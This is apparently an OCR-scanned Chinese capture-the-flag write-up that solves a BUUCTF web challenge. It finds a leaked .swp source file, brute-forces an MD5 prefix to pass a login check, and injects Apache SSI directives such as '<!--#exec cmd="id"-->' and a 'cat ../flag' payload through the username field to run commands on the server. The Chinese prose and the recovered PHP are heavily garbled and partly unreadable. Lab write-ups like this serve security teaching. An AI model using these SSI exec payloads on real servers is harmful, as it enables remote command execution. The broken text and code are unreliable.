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1. Apache SSIizFEdr 44T

2. shtmlzf
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username username

weixin_44037296

—ANEFME, ZR T IE S IR RN, WIRAIR, ks H AT E BAUE, ] ctf-wscandd i H 3k

python3 ctf-wscan.py http://c4567f9c-24a4-42fd-a60f-1e02b2aalf07.node3.buuoj.cn/

[200] => index.php.swppluspropertie
[200] => index.php.~1~_Edietplus
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ob_start();
function get_hash(){
' ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopgrstuvwxyz0123456789 ! @#$%A8&* ()+-';
[mt_rand(0,73)]. [mt_rand(0,73)]. [mt_rand(0,73)]. [mt_rand(0,73)].
nd(9,73)];//Random 5 times
uniqgid().
return shal( );

}
header("Content-Type: text/html;charset=utf-8");

if(isset( ["username']) and ["username’ ]

{
'6dobcl’;

if ( substr(md5( ["password']),0,6)) {
echo "<script>alert('[+] Welcome to manage system')</script>";
"public/".get_hash().".shtml";
fopen( , "w") or die("Unable to open file!");

k %k 3k

k %k k

<hl>Hello, . ["username']."'</h1>

k %k 3k

fwrite(

fclose(
echo "[!] Header
} else {

echo "<script>alert('[!] Failed')</script>";

}else

{

Hr get_hash() BERH| T password {H£ 1 MDSIN% J& (BT /SAESE T 6debcl , #RJGTE public Hk FEIE shtml SCHF, FF
PL get_hash() BRHGRBEMEE N4, HPOST e AL = username FIE S AN X HFH .

5t gm 'S5 Python3IHiAs,  HEBE HMD5 N2 )5 B 7512 A 6debed flIZ5 L :
import hashlib

for i in range(1l, 100000000) :
res hashlib.md5(str(i).encode('utf-8")).hexdigest()

if res[:6] '6debcl "’ :
print(i, res)

BT, 1RRIAR:

2020666 6d0bcll153791aa2b4el8b4af344f26ab4
2305004 6d0bclec71a9b814677b85e3ac9c3d40




9162671 6d0bcllea877b37d694b38ba8a4nphl9
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ZAH ] 2020666 1E NG TR, FE4 F BurpSuite U A £ :

| Foward || Drop J [ Intercept is on | Action

Raw | Params | Headers | Hex

POST /index.php HTTP/1.1

Host: c4567f9c-24a4-42fd-a60f-1e02b2aalf07.node3.buuoj.cn

Content-Length: 31

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://c4567f9c-24a4-42fd-a60f-1e02b2aalf07.node3.buuoj.cn

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 11_1 0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36

PNV WN

©

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
10 Referer: http://c4567f9c-24a4-42fd-a60f-1e02b2aalf07.node3.buuoj.cn/

11 Accept-Encoding: gzip, deflate

12 Accept-Language: zh-CN,zh;qg=0.9

13 Cookie: UM _distinctid=176cc63994071c-0a3bb0b090c52f-6d112d7c-13c680-176cc639941f6e

14 Connection: close

15

16 username=admin&password=2020666

ffi FHRepeater =¥t f5, 4930

Response

J Raw T Headers T Hex T HTML T Render ]

1 HTTP/1.1 200 OK i
2 BServer: openresty P
3 Date: Tue, 05 Jan 2021 15:39:18 GMT
4 Content-Type: text/html;charset=utf-8
5 Content-Length: 568
6 Connection: close
7 Url_is here: public/74bfe34b339a9de8d46a3b4654bb25a385fdf43d.shtml
8 Vary: Accept-Encoding
9 X-Powered-By: PHP/7.1.27
10
11 <!DOCTYPE html>
123 <html>
133 <head>
14 <meta charset="utf-8">
15 <title>Login</title>
16 <meta http-equiv="Content-Type" content="text/html;charset=UTF-8">
17 <meta name="viewport" content="width=device-width">
18 <link href="public/css/base.css" rel="stylesheet" type="text/css">
19 <link href="public/css/login.css" rel="stylesheet" type="text/css">
20 </head>
217 <body><script>alert('[+] Welcome to manage system')</script>[!] Header error
e <div id="tip"></div>
22([ <div class="foot">
23 bjd.cn
24 </div>
25 </form>

26 </div></body>
27 </html>

HfZ B4 url_is_here: public/74bfe34b339a9de8d46a3b4654bb25a385Fdfa3d. shtml , 7 []i% 304

Hello,admin



data: Tuesday, 05-Jan-2021 15:47:48 UTC

Client |PARS

LGRS TEIEEY
BAT A4, SR

B H Y username #¥5 AN T shtml 3, FrCURBHAEAEECN: <1 --#exec cmd="id” --> :

S AR TR, shtml SCHFRR IR 28 4T 8 T SSI5CGISCHF, LM <! --#exec cmd="id” --> if

14 Connection: close
15
16 username=<!--#exec cmd="id"-->&password=2020666


https://www.cnblogs.com/yuzly/p/11226439.html

FOEEARAL, Vil shtml DU, 753002

Hello,uid=33(www-data) gid=33(www-data)
groups=33(www-data)

data: Tuesday, 05-Jan-2021 15:56:53 UTC
WEW fr & AT LS AT, AR Eflagre ../ 2 E—HBEXT:

Hello,flag_990c66bf85a09c664f0b6741840499
index.php index.php.swp public

data: Tuesday, 05-Jan-2021 15:59:32 UTC

faitpayload:

ec cmd="cat ../flag_9906c66bf85a09c664f0b6741840499b2"-->&password=2020666

Y7 IR [FH shtml SO, 15 Fflag:

Hello,flag{62648983-1847-4166-81d0-
c3ab17e2815a}

data: Tuesday, 05-Jan-2021 16:01:05 UTC
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